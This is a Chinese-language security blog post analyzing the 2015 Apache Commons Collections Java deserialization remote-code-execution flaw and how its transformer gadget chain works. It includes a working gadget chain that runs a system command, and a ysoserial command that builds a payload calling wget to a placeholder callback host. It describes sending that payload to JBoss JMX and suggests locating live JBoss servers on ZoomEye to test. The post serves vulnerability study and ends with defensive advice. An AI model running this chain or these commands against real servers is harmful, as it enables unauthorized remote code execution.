common-collections中Java反序列化漏洞致使的RCE原理分析

隱形人真忙 · 2015/11/11 22:40java

0x00 背景


這幾天在zone看到了有人說起了有關於common-collections包的RCE漏洞,而且http://zone.wooyun.org/content/23849給出了具體的原理。做爲一個業餘的安全研究人員,除了會利用以外,還能夠探究一下背後的原理。git

0x01 原理


Java反序列化致使的漏洞原理上和PHP反序列同樣,也是因爲用戶的輸入能夠控制咱們傳入的對象。若是服務端程序沒有對用戶可控的序列化代碼進行校驗而是直接進行反序列化使用,而且程序中運行一些比較危險的邏輯(如eval,登陸驗證等),就會觸發一些意想不到的漏洞。實際上,這並非什麼新的問題了,有關於Java中的反序列化致使的漏洞能夠看https://speakerdeck.com/player/2630612322be4a2696a31775f2ed005d的slide瞭解一下。github

而此次,主要探討一下在特殊環境下,反序列化可否達到遠程代碼執行(RCE)。web

參考文章3中給出了exp,而且在zone上有了不少的討論,配合github上的jar文件生成一個序列化字符串,而後發送給漏洞站點就能觸發。關於利用,並非本文的重點。apache

問題從common-collections工具的各個transformer提及,這些transform主要用於對Map的鍵值進行轉化。數組

其中,國外研究人員發現類InvokerTransformer中的transform方法容許經過反射執行參數對象的某個方法,並返回執行結果。安全

咱們來寫個代碼測試一下:bash

#!java
@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
    public static void main(String[] args) {
        Transformer transform = new InvokerTransformer(
                "append",
                new Class[]{String.class},
                new Object[]{"exploitcat?"});
        Object newObject = transform.transform(new StringBuffer("your name is ")) ;
        System.out.println(newObject);    

    }
}
複製代碼

這裏建立了一個InvokerTransformer對象,而且調用了它的transform,參數是個StringBuilder對象,執行後會輸出一個字符串:java-web

#!java
your name is exploitcat?
複製代碼

能夠看到,經過transform方法裏的反射,咱們成功調用了StringBuilder中的append方法並返回結果,雖然過程有些曲折。這樣,咱們離RCE又近了一步,那麼誰會去調用這些transformer對象的transform方法呢?app

調用這些transform方法的是一個叫TransformedMap的類,這個類能夠當作原生Map類的一個包裝類(經過TransformedMap.decorate方法)。進入這個類一探究竟:

這裏的decorate方法就是對外建立TransformedMap對象的方法。在代碼中咱們能夠清晰找到transform方法是如何被調用的。

以及entry對象調用setValue時,執行的checkSetValue

爲了搞清楚爲啥在setValue的時候發生了什麼,咱們來看代碼:

#!java
public class TransformTest {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, 
                    new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        innerMap.put("name", "hello") ;
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;

        Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
        elEntry.setValue("hello") ;
    }
}
複製代碼

代碼中,咱們將咱們要執行的多行代碼分散到各個transformer裏,使用InvokeTransformer類來執行咱們的方法。接着用TransformedMap來執行transfom方法觸發代碼。

這裏的原生Map用來被TransformedMap包裝,而後map的entry對象調用了setValue方法。在java環境中執行上面的代碼,最後會彈出計算器:

到目前爲止,咱們找了一些創造RCE的條件:

(1)使用了InvokeTransformer的對象,並在transform方法裏執行代碼;
(2)使用TransformedMap經過執行setValue方法來觸發transform方法。

對於一個「不講道理」的RCE,顯然須要另外一個好用的類來同時知足上面兩點,而且在readObject裏進行調用。readObject方法是java的序列化對象(實現了Serializable接口)中首先會調用的方法。

0x02 利用


這裏配合咱們執行代碼的類就是AnnotationInvocationHandler,咱們來看看readObject方法裏面有什麼邏輯:

能夠看到,首先調用了defaultReadObject來獲取了類屬性typememberValues,找到定義,這兩個東西以下:

readObject方法中,類型檢查以前就觸發了咱們對象的方法。從memberValues參數中獲取了entrysetValue,這樣,雖然可能會有類型錯誤,可是代碼卻執行了。符合了以前咱們關於RCE的構想。因此看懂exp就變得很簡單。exp作了一件事情,就是返回一個序列化的handler對象,對象裏包含了咱們的transformer對象數組,用來裝載咱們要執行的代碼。

建立handler的方法以下:

利用反射,獲取到AnnotationInvocationHandler的構造函數,並傳入了咱們的map,getInstance返回一個handler對象,完成了所要求的一切,以後,找個使用可控序列化的地方發送這個序列化handler便可執行咱們的代碼。

我仍是把exp貼上來吧,這段代碼就是構造咱們的handler對象:

首先exp裏構造了transformer對象數組並用LazyMap進行包裝,包裝後裝到一個handler對象裏並返回這個handler

0x03 演示


爲何說這個RCE影響大,具體能夠看看參考文章1中做者給出的幾個案例,能夠看到主流的java-web中間件都受到了影響,包括jboss、WebLogic、 WebSphere等。

以jboss爲例的利用教程,在zone裏zone.wooyun.org/content/238…已經給出步驟了,利用門檻不高,只須要在zoomeye上找jboss來測試便可。

因爲是RCE,因此花樣不少了,這裏我就挑幾個案例,利用CloudEye執行看看,執行命令爲:

#!bash
wget http://your-cloudeye-site
複製代碼

若是成功執行,那麼咱們的cloudeye上應該有日誌的。 具體以下:

#!bash
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'wget http://your-cloudeye-site' > out.ser
複製代碼

上面的命令是獲取執行wget命令的handler對象的序列化code,而後咱們訪問jboss裏的JMX服務:

在cloudeye上,成功獲取了訪問記錄:

配合cloudeye,咱們徹底能夠作到命令回顯,不過既然是RCE了,玩兒法就太多了。

實際上,參考文章1中給出了JAVA中使用了序列化的場景:

  • In HTTP requests – Parameters, ViewState, Cookies, you name it.
  • RMI – The extensively used Java RMI protocol is 100% based on serialization
  • RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
  • JMX – Again, relies on serialized objects being shot over the wire
  • Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

若是想探索這個漏洞的利用,那麼我推薦你閱讀如下這篇文章。

0x04 總結


總結下,漏洞產生的主要問題仍是在用戶可控的序列化字符串上,在使用ObjectInputStreamObjectOutputStream類的時候,最好進行白名單校驗,防止意外的發生。 配合參考文章1,估計接下來烏雲上又會颳起一陣腥風血雨。

參考文章:

  1. foxglovesecurity.com/2015/11/06/…
  2. blogs.apache.org/foundation/…
  3. github.com/frohoff/yso…
相關文章
相關標籤/搜索